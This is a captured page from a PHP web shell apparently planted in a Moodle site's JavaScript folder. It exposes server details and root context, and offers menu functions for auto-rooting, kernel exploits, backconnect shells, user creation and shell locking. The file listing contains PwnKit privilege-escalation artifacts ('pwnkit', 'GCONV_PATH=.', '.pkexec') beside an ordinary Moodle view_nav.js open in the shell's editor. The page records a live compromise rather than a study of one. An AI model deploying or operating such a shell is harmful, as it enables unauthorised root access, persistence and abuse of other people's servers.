Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
blocks /
myoverview /
amd /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
main.js
1.41
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
repository.js
2.98
KB
-rwxrwxrwx
selectors.js
1.09
KB
-rwxrwxrwx
view.js
26.49
KB
-rwxrwxrwx
view_nav.js
4.59
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : view_nav.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Manage the timeline view navigation for the overview block. * * @package block_myoverview * @copyright 2018 Bas Brands <bas@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define( [ 'jquery', 'core/custom_interaction_events', 'block_myoverview/repository', 'block_myoverview/view', 'block_myoverview/selectors' ], function( $, CustomEvents, Repository, View, Selectors ) { var SELECTORS = { FILTERS: '[data-region="filter"]', FILTER_OPTION: '[data-filter]', DISPLAY_OPTION: '[data-display-option]' }; /** * Update the user preference for the block. * * @param {String} filter The type of filter: display/sort/grouping. * @param {String} value The current preferred value. */ var updatePreferences = function(filter, value) { var type = null; if (filter == 'display') { type = 'block_myoverview_user_view_preference'; } else if (filter == 'sort') { type = 'block_myoverview_user_sort_preference'; } else if (filter == 'customfieldvalue') { type = 'block_myoverview_user_grouping_customfieldvalue_preference'; } else { type = 'block_myoverview_user_grouping_preference'; } Repository.updateUserPreferences({ preferences: [ { type: type, value: value } ] }); }; /** * Event listener for the Display filter (cards, list). * * @param {object} root The root element for the overview block */ var registerSelector = function(root) { var Selector = root.find(SELECTORS.FILTERS); CustomEvents.define(Selector, [CustomEvents.events.activate]); Selector.on( CustomEvents.events.activate, SELECTORS.FILTER_OPTION, function(e, data) { var option = $(e.target); if (option.hasClass('active')) { // If it's already active then we don't need to do anything. return; } var filter = option.attr('data-filter'); var pref = option.attr('data-pref'); var customfieldvalue = option.attr('data-customfieldvalue'); root.find(Selectors.courseView.region).attr('data-' + filter, option.attr('data-value')); updatePreferences(filter, pref); if (customfieldvalue) { root.find(Selectors.courseView.region).attr('data-customfieldvalue', customfieldvalue); updatePreferences('customfieldvalue', customfieldvalue); } // Reset the views. View.init(root); data.originalEvent.preventDefault(); } ); CustomEvents.define(Selector, [CustomEvents.events.activate]); Selector.on( CustomEvents.events.activate, SELECTORS.DISPLAY_OPTION, function(e, data) { var option = $(e.target); if (option.hasClass('active')) { return; } var filter = option.attr('data-display-option'); var pref = option.attr('data-pref'); root.find(Selectors.courseView.region).attr('data-display', option.attr('data-value')); updatePreferences(filter, pref); View.reset(root); data.originalEvent.preventDefault(); } ); }; /** * Initialise the timeline view navigation by adding event listeners to * the navigation elements. * * @param {object} root The root element for the myoverview block */ var init = function(root) { root = $(root); registerSelector(root); }; return { init: init }; });
Close